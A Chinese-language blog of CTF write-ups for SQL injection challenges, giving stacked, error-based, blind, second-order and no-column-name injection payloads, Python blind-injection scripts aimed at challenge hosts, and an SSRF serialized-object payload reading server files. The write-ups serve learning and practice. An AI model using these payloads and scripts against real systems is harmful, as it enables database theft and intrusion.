文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-08-18   11.7k

强网杯 2019 随便注

考点

  • 堆叠注入
  • 预编译语句

解题

方法一

判断注入点

之后进行union联合注入的时候发现了正则过滤 几乎过滤了我们所有能用到的语句

再尝试堆叠注入, show tables 查询当前数据库中的表发现了两个表

看下两个表的结构字段

1
2
3
4
//查看words表的字段
';show columns from words;#
//查看1919810931114514表的字段
';show columns from `1919810931114514`;#

骚姿势开始了,我们默认查询的表是word表,那么就可以通过rename语句把words表的表名改成words1,把1919810931114514的表名改成words,然后再用alter语句把flag字段名改成id即可。。。😂

payload:

1
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#

用 1′ or ‘1’=’1 访问一下

方法二

使用MySQL预处理语句绕过过滤。

我们进行构造这个语句:

1
2
3
set @a=concat("sel","ect flag from `1919810931114514`");
prepare sql from @a
execute sql;

payload:

1
1';set @a=concat("sel","ect flag from `1919810931114514`");prepare sql from @a;execute sql;# 

大小写绕过:

1
1';sEt @a=concat("sel","ect flag from `1919810931114514`");Prepare hello from @a;execute hello;#

CISCN2019 Hack world

考点

  • Bool盲注
  • Python脚本编写
  • 异或注入

解题

每次碰到这种SQL注入的题目都没太多思路。

根据1和2返回结果的不同,可能是bool盲注,()没有过滤,可以使用大部分函数。

空格绕过:%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab

任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

payload示例:

1
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

如果等号成立的话,那么就返回Hello, glzjin wants a girlfriend.,如果不成立那么就返回Do you want to be my girlfriend?,用二分法编写盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from time import sleep

import requests

url = 'http://a9475c38-821c-4b23-aa96-87730f0863fe.node3.buuoj.cn/index.php'
flag = 'Hello, glzjin wants a girlfriend.'
result = ''

for i in range(1, 50):
sleep(1)
high = 127
low = 32
mid = (high + low) // 2
while high > low:
payload = "if(ascii(substr((select(flag)from(flag)),{index},1))>{char},1,2)".format(index=i, char=mid)
data = {'id': payload}
response = requests.post(url=url, data=data)
if flag in response.text:
low = mid + 1
else:
high = mid
mid = (high + low) // 2

result += chr(mid)
print(result)

拓展:CTF几种盲注的手法

https://www.anquanke.com/post/id/160584#h2-0

CISCN2019 华北赛区 Day1 Web5 CyberPunk

考点

  • 文件包含
  • 二次注入
  • 报错注入

解题

查看源码提示index.php有file参数,可以使用伪协议文件包含。

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>

confirm.php中对输入的username和phone都进行了过滤了,但是忽略了address字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>

change.php从数据库中取出了在confirm.php输入的address,这样就造成了二次注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

思路已经很明确了,先在提交订单的时候的地址处构造一个用来注入的语句,然后再修改一下订单,完成注入。利用updatexml函数因为格式的错误,回显了关键信息的原理,构造如下报错注入攻击语句:

1
2
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
//如果flag太长的话,通过改变substr的起始值,就可以把flag剩下的部分查出来

SUCTF2019 EasySQL

考点

  • 堆叠注入

  • sql_mode参数

    Oracle 在缺省情况下支持使用 " || "连接字符串 , 但是在MySQL中缺省不支持 ,MySQL 缺省使用 CONCAT 系列函数来连接字符串

解题

FUZZ后发现过滤了不少关键字,可以输入单个数字,输出的语句应该是用var_dump()函数,考虑堆叠注入。

读取当前数据表:

但是Flag也被过滤了。据说比赛的时候泄露源码了。。。

连接数据库并从URL获取参数

对获取的参数进行处理后带入数据库查询 , 并且返回结果

其实主要就是 SQL 查询语句 : select ".$post['query']."||flag from Flag";

可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 " || "视为 字符串连接符 而非 运算符。

payload:1;set sql_mode=PIPES_AS_CONCAT;SELECT 1

拼接后就变成了 SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag

非预期

Payload : \*,1

拼接后就变成了 SELECT \* ,1 || flag FROM Flag

极客大挑战 2019 EasySQL

极客大挑战 2019 LoveSQL

极客大挑战 2019 BabySQL

极客大挑战2019 HardSQL

考点

  • MySQL报错注入

解题

关键词FUZZ一下发现过滤了空格,or,update,handler,/,=等常见字符,这个时候可以试一下报错注入,直接上payload:

爆数据库名

1
2
admin'^extractvalue(1,concat(0x7e,(select(database()))))#
// geek

爆数据表名

1
2
admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))#
// H4rDsq1

爆列名

1
2
admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
// id,username,password

爆值

1
2
admin'^extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1))))#
// flag{d994a91e-d9d6-4901-b025-b8

发现显示不完全,substr()函数无效,可以使用reverse()函数翻转:

1
2
admin'^extractvalue(1,concat(0x7e,(select(reverse((select(password)from(H4rDsq1)))))))#
// }007f9f56108b-520b-1094-6d9d-e1

也可以使用left()和right()函数绕过:

1
2
admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(H4rDsq1))))#
// flag{d994a91e-d9d6-4901-b025-b
1
2
admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))#
// e-d9d6-4901-b025-b80165f9f700}

极客大挑战2019 FinalSQL

考点

  • MySQL regx盲注

解题

进入题目给了几个hint,首先确定是盲注,当id=6的时候回显Clever! But not this table.

登录框经过测试后没有可注入的点,尝试id参数后发现过滤空格,/**/以及if等关键字。测试注入点:

1
6^length(database())>0

回显Clever! But not this table.

1
6^length(database())<0

回显ERROR

由于过滤了if关键字,所以要使用regex盲注,示例:

1
6^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>0)^1

确定注入点和payload形式后开始编写盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
from time import sleep

url = "http://410b10a4-249a-4d9b-b1df-03f557672625.node3.buuoj.cn/search.php?id=6"
flag = "Clever! But not this table."
result = ""

for i in range(1, 1000):
sleep(0.5)
low = 32
high = 127
while high > low:
mid = (high + low) // 2
#payload = "^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{index},1))>{char})^1"
#payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{index},1))>{char})^1"
#payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{index},1))>{char})^1"
payload = "^(ascii(substr((select(group_concat(password))from(F1naI1y)),{index},1))>{char})^1"
response = requests.get(url + payload.format(index=i, char=mid))
if flag in response.text:
low = mid + 1
else:
high = mid

if low != 32:
result += chr(low)
else:
break
print(result)

GXYCTF2019 BabysqliV1

原题目描述:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!

(BUUCTF没有提示啊!!!)

考点

  • SQL联合查询

解题

先FUZZ一波过滤了某些字符,常规的注入都没能pass,查看源码发现一个search.php

先说说base32 和 base64 的区别,
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。
明显,那段文字是base32加密

解密后:c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

继续base64解密:select * from user where username = '$name'

1
2
3
4
5
name=1' or 1=1#&pw=1  // wrong user!    
>>> do not hack me! // or和=被过滤了
name=1' Or 1#&pw=1 // 大小写直接绕过了
name=1' Or 1 Order by 4#&pw=1
>>> Error: Unknown column '4' in 'order clause' //可以知道有三个column

盲猜字段名为idusernamepassword,当usernameadmin时会说wrong pass!,其他都是wrong user!,username应该就是admin了。

那么逻辑就是:先判断username在不在数据库,再判断密码对不对,这样我们就可以通过联合查询的时候会创一个虚拟的表单,让他查这个虚拟表。

下面猜测admin在哪个字段:

1
name=1'union select 1,'admin',3#

我们知道有admin用户的,经测试name=1'union select 1,'admin',3#报密码错误,说明这里就是username了,password字段应该是3的位置。

这道题得猜它的后端源码是怎么写的:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$name = $_POST['name'];
$passwd = md5($_POST['pw']);

$sql = "select * from user where username = '$name'";
$query = mysql_query($sql);

if (!strcasecmp($passwd, $query[passwd])) {
echo $flag;
} else {
echo("Wrong Pass");
}

由于name参数可注,我们可以构造sql语句使其查询为假,然后联合查询出一个比如0f5ed8a8d8d44d86a570aacffa922251(ca01h的md5),然后密码输入ca01h,就会查询成功。

1
2
username = 1' union select 1,'admin','0f5ed8a8d8d44d86a570aacffa922251'#
password = ca01h

参考:https://www.gem-love.com/ctf/453.html

RCTF2015 EasySQL

考点

  • 报错注入
  • 二次注入

解题

主要有三个功能,注册、登录和修改密码,这种情况一般都是二次注入的问题。

在注册页面,试了一下,usernameemail 处有过滤,直接 fuzz 一下哪些字符被禁了

注册用户名zzz\,在点击修改密码后,有一个报错:

猜测SQL语句应该是这样写的:

1
select * from user where username = "zzz\" and pwd = '92dd83acc13018d34e2454d4c5c05cf3'

使用报错注入的方式爆出数据

  • 获取当前用户信息

    1
    zzz"||(updatexml(1,concat(0x7e,(select(user())),0x7e),1))#

    返回XPATH syntax error: '[email protected]~'

  • 查看当前数据库

    1
    zzz"||(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#

    返回XPATH syntax error: '~web_sqli~'

  • 查看数据库的表

    1
    zzz"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#

    返回XPATH syntax error: '~article,flag,users~'

  • 查看users表中的字段

    1
    zzz"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#

    返回XPATH syntax error: '~name,pwd,email,real_flag_1s_her'

    使用reverse函数查看后面的内容

    1
    zzz"||(updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),0x7e),1))#

    返回XPATH syntax error: '~ereh_s1_galf_laer,liame,dwp,ema'

  • 查看real_flag_1s_here字段的内容

    1
    zzz"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#

    返回XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

    看到有很多垃圾数据,用regexp匹配f开头

    1
    zzz"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#

    返回XPATH syntax error: '~flag{e43ad246-f211-4292-a531-c3'

    再用reverse函数读后面的内容

    1
    zzz"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#

    返回XPATH syntax error: '~}04c7d828343c-135a-2924-112f-64'

GYCTF2020 Ezsqli

考点

  • 无information_schema布尔盲注
  • 无列名注入

解题

过滤很多东西,比如information_schema、union…select、join、if、and、or等等,基本上就是考虑盲注了。

另外还发现:

1
2
2
返回V&N
1
2
2||1=1
返回Nu1l
1
2
2||1=5
返回V&N

也就是说,本来2查询的是V&N,如果||后面的表达式为True则返回Nu1L、false则返回V&N。

判断一下是不是盲注

1
2
2||length(database())>0
返回Nu1l
1
2
2||length(database())<0
返回V&N

确定是盲注了,那么就直接写脚本用二分法盲注表名,可以使用sys.schema_table_statistics_with_buffer

innodb_table_stats和innodb_index_stats和sys.schema_table_statistics也可以使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
from time import sleep

URL = "http://acbcc15b-d8f2-48b3-9c67-3b16b465068f.node3.buuoj.cn/index.php"
flag = "Nu1L"
result = ""
target = "select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()"

for i in range(1, 50):
sleep(0.1)
low = 32
high = 127
while high > low:
mid = (high + low) >> 1
payload = "2||ascii(substr(({}),{},1))>{}"
data = {
'id': payload.format(target, i, mid)
}
response = requests.post(url=URL, data=data)
if flag in response.text:
low = mid + 1
else:
high = mid

if low != 32:
result += chr(low)
else:
break
print(result)

得到表名

1
users23333333333333,f1ag_1s_h3r3_hhhhh

下面就要实现无列名注入

在知道表名,不知道列名的情况下,我们可以利用union来给未知列名“重命名”,还可以利用报错函数来注入出列名。

这道题再提出一种思路,ascii位偏移大小比较。名字听起来比较玄乎,但是原理很简单:

核心payload:(select 'admin','admin')>(select * from users limit 1)

假设flag为flag{bbbbb},对于payload这个两个select查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的ASCII大,不管总长度如何,ASCII大的则大,这个不难懂,和c语言的strcmp()函数原理一样,举几个例子:

  • glag > flag{bbbbb}
  • alag{zzzzzzzzzzz} < flag{bbbbb}
  • a < flag{bbbbb}
  • z > flag{bbbbb}

在这样的按位比较过程中,因为在里层的for()循环,字典顺序是从ASCII码小到大来枚举并比较的,假设正确值为b,那么字典跑到b的时候b=b不满足payload的大于号,只能继续下一轮循环,c>b此时满足了,题目返回真,出现了Nu1L关键字,这个时候就需要记录flag的值了,但是此时这一位的char是c,而真正的flag的这一位应该是b才对,所以flag += chr(char-1),这就是为什么在存flag时候要往前偏移一位的原因。

另外还需要注意的地方是,字段数一定是一一匹配,这里f1ag_1s_h3r3_hhhhh是有两个字段的(可以用select 1|select 1,2|select 1,2,3试一试),知道是两个字段后,还要注意字段内的一一对应,f1ag_1s_h3r3_hhhhh表中的flag在第二个字段。

直接show code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
from time import sleep

URL = "http://98ef5288-1d34-4680-a03c-1aa5f5fbfaad.node3.buuoj.cn/index.php"
flag = "Nu1L"
result = ""
payload = "2||(select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh)"

for i in range(1,200):
for j in range(32, 127):
sleep(0.1)
char = result + chr(j)
data={
'id': payload.format(char)
}
response = requests.post(URL, data=data)
if flag in response.text:
result += chr(j - 1)
print(result)
break;

这样就可以成功的拿到flag。

GXYCTF2019 BabysqliV3

NCTF2019 SQLi

考点

  • regex盲注

参考文章:REGEXP注入与LIKE注入

解题

hint.txt

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

找到admin的密码即可得flag

由于单引号被禁用,使用 \ 转义and前面的那个单引号,使得 '\' and passwd=' 形成闭合。构造passwd处为 ||/**/passwd/**/regexp/**/"^a";%00,用regexp查询passwd ^匹配字符串开头 %00截断后面的内容。但是不能在输入框直接提交,会被url encode 变为%2500被黑名单拦截。

查询语句变为:

1
select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^a";

如果regex为真的话,会返回404,否则跳转至登录界面。

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: UTF-8 -*-
import requests
import string
import time
from urllib import parse


url = '''http://aabb7aa1-f68f-44c7-9e75-514410c6d6f2.node3.buuoj.cn/index.php'''
passwd = ""
strs = string.ascii_lowercase + string.digits + '_'

for i in range(100):
for m in strs:
time.sleep(0.3)
data = {
"username": '\\',
"passwd": '||/**/passwd/**/regexp/**/"^{}";{}'.format(passwd+m, parse.unquote('%00'))
}
res = requests.post(url, data)
if res.status_code == 404:
passwd += m
print(passwd)
break
print(passwd)

SWPUCTF2019 web1

考点

  • 十六进制+MySQL预编译绕过
  • PHP代码审计

解题

题目只有一个登录框,注册功能未开放,随意填写内容,点击登录,抓包

在username字段添加一个单引号PHP会报错

而闭合引号后会正常显示。因此可大致确定注入存在,随后开始构造payload。由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入。

不过貌似过滤了绝大多数的关键字,采用16进制+MySQL预处理绕过。原理如下:

编写时间盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import json
import time


def main():
url = '''http://71c8375e-74ff-45aa-a2ee-8670864f6b0b.node3.buuoj.cn/index.php?r=Login/Login'''
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1, 30):
# payload = "select if(ascii(substr((select database()),{0},1))={1},sleep(3),1)"
# payload = "select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{0},1))={1},sleep(3),1)"
# payload = "select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{0},1))={1},sleep(3),1)"
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0, 128):
time.sleep(0.1)
datas = {'username': payloads.format(str_to_hex(payload.format(i, j))), 'password': 'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url=url, data=data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break


def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])


if __name__ == '__main__':
main()

最后跑出了一个源代码,进行审计。

既然是MVC架构,先弄清楚路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if(!empty($_REQUEST['r']))
{
$r = explode('/', $_REQUEST['r']);
list($controller,$action) = $r;
$controller = "{$controller}Controller";
$action = "action{$action}";


if(class_exists($controller))
{
if(method_exists($controller,$action))
{
//
}
else
{
$action = "actionIndex";
}
}
else
{
$controller = "LoginController";
$action = "actionIndex";
}
$data = call_user_func(array( (new $controller), $action));
} else {
header("Location:index.php?r=Login/Index");
}

从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。

下面看关键代码:

1
2
3
4
5
6
7
8
9
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

很明显可以通过extract来覆盖变量,不过现在还不知道需要覆盖什么变量,寻找几个调用loadView的方法,发现一个对$viewData完全可控的地方。

1
2
3
4
5
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}

$listData是从REQUEST提取出来的,完全可控。而其对应的/View/userIndex.php中存在一个文件读取。

1
2
3
4
5
6
 if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">';

这样,$img_file可通过extract($viewData)变量覆盖漏洞完全控制,而$viewData是受用户控制的完全控制的。所以这里就存在一个任意文件读取漏洞。

所以访问?r=User/Index&img_file=/../flag.php可直接获取flag.php经base64后的内容。

强网杯2019 Fakebook

考点

  • 源码泄露
  • SQL注入
  • PHP反序列化
  • SSRF

题解

有robots.txt

1
2
User-agent: *
Disallow: /user.php.bak

访问一下拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
?>

第一眼看上去就很像是SSRF漏洞利用,但是始终绕不过isValidBlog函数中的正则表达式

走一下网站的流程

注册了账号

访问个人界面时

1
http://111.198.29.45:53095/view.php?no=1

输入no=9

有报错信息,泄露了目录

1
Notice: Trying to get property of non-object in /var/www/html/view.php on line 53

看一下有没有sql注入,手工注失败了,有waf。

看了一下师傅们的wp,发现是waf把union select给过滤了,用/**/内联注释来绕过。

1
2
3
4
5
6
#爆表
no=-1+union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
#爆列
no=-1+union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()
#爆列data的内容
no=-1+union/**/select 1,group_concat(data),3,4 from users

data里的内容就是我们之前注册用户的序列化数据,报错信息暗示我们需要构造一个序列化对象

1
unserialize(): Error at offset 0 of 1 bytes in <b>/var/www/html/view.php</b> on line 31

这里提交了一个no的参数,返回了用户信息这个页面,所以不难猜到服务器端是通过分析no参数,再从数据库中进行查询,然后返回我们的信息,之前sql注入时得到了服务器再查询时是查询了4个字段,而我们得到的可用的字段有[no,username,passwd,data]四个字段。

毋庸置疑的是我们的注册信息是写入了数据库的,而no,username,passwd三个字段均没有我们注册时候填写的blog地址,只有data字段中有一个序列化后的blog属性的值。那么返回的页面中的bolg地址是怎么查询的? 或者说怎么得到的?就是通过查询data字段,得到其中的序列化信息来渲染整个页面,从而恰好得到页面中的username,age,blog值。

猜想到这个逻辑之后,我们就可以通过修改查询的序列化对象的值来构造ssrf请求,从而读取到flag文件

利用前面泄露的源码构造一个恶意对象

1
2
3
4
5
6
7
8
9
10
<?php
class UserInfo {
public $name = "admin";
public $age = 233;
public $blog = "file:///var/www/html/flag.php";
}

$data = new UserInfo();
echo serialize($data);
?>

利用getBlogContents调用的curl进行SSRF攻击,四个参数都试了一下,发现是第4个用来读用户数据的:

1
payload=?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

在iframe中得到flag。

非预期解

源码没有过滤load_file函数,可以直接包含一个文件:

1
?no=0+unIon/**/select+1,load_file('/var/www/html/flag.php'),1,1

load_file使用条件:

1.用户有很高的权限

2.知道文件的绝对路径

BJDCTF 2nd 简单注入

考点

  • MySQL盲注
  • Python脚本编写

解题

访问robots.txt页面提示有hint.php

1
2
3
4
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

fuzz一下发现:空格单双引号过滤,\没过滤,如果未对$_POST["username"]进行其他限制,那么可以使用反斜杠将第二个单引号转义,此时第一个单引号和第三个单引号构成语句:username='xxxxx', $_POST["password"]则可进行盲注。

username=admin\ password=or/**/length(database())>0#回显BJD needs to be stronger

username=admin\ password=or/**/length(database())<0#回显You konw ,P3rh4ps needs a girl friend

写盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
from time import sleep

url = 'http://2cfb1e37-5400-4888-895d-bd5db365a250.node3.buuoj.cn/index.php'
data = {
'username': 'admin\\',
'password': ''
}
flag = 'BJD needs to be stronger'
result = ''

for i in range(1, 50):
sleep(0.5)
high = 127
low = 32
while high > low:
mid = (high + low) // 2
payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#" % (i, mid)
data['password'] = payload

rs = requests.post(url=url, data=data)

if flag in rs.text:
low = mid + 1
else:
high = mid

if low != 32:
result += chr(low)
else:
break
print(result)

得到password:OhyOuFOuNdit

SWPUCTF2019 Web1

考点

  • 二次注入
  • MySQL无列名注入
  • MySQL5.7+ 新特性

知识储备

无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在CTF题目中常常是因为information_schema被过滤的情况下,使用这种方法获取列名。

无列名注入的原理其实类似于将我们不知道的列名,进行取别名操作,在取别名的同时进行数据查询,所以如果我们查询的字段多于数据表中列的时候,会出现报错。

在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 5.7以上,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

例如当前有一个user表

发现该数据表中有3列,我们使用无列名查询的方式尝试查询一下

尝试多一个字段或者少一个字段进行查询:

仍然报错,证明无列名注入必须一一对应所查询数据表的列数。

对一列数据进行查询:

末尾的 a 可以是任意字符,用于命名。

当然,多数情况下,` 会被过滤。当 ` 不能使用的时候,使用别名来代替:

同时查询多个列:

解题

注册admin的时候提示用户已经存在,那么就随便注册一个用户名,登录后发表广告,点击查看详情页,第一反应看url传入了id字段,经过测试后,id字段不存在SQL注入。

再考虑是不是二次注入,发表广告后,查询广告详情的时候产生注入。

测试注入点:

点击广告详情

发现数据库报错信息,证明存在注入,可根据报错的信息去构造sql注入语句,fuzz一下被过滤的字符和符号。

发现空格,or,#,–+等被过滤,我们使用注释符号来代替空格。报错过滤了extractvalue 和 updatexml,于是考虑用 union 联合注入。

尝试闭合单引号:

1
aaa','

先判断字段的个数,or被过滤了不能用order by,但是可以用group by来替换

1
11'/**/group/**/by/**/22,'

判断回显位

1
11'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

查询一下数据库名称和版本

1
11'/**/union/**/select/**/1,database(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

由于or被过滤,所以不能用information_schema,但是根据上面的知识储备,如果数据表的引擎是innodb, 还可以用mysql.innodb_table_stats获取表名

https://mariadb.com/kb/en/mysqlinnodb_table_stats/

1
11'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

我们无法知道列名,可以通过无列名注入的方式进行注入,先查询users表。

1
11'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

后记

如果过滤了逗号,可以用join关键字连接

1
2
3
4
5
6
7
8
9
10
mysql> select * from users union select * from (select 1)a join (select 2)b join (select 3)c;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | [email protected] |
| 1 | 2 | 3 |
+----+----------+------------+
4 rows in set (0.00 sec)

网鼎杯2018 comment

考点

  • Git源码恢复
  • 代码审计
  • 二次注入

解题

上来没什么思路,先用dirmap扫一遍发现Git文件夹,用GitHack把源码dump下来,只有一个write_do.php文件,并且不完整,需要查看提交历史。因为lijiejie的GitHack不能把.git文件夹同时dump下来,所以这里换成wangyihang的GitHacker。

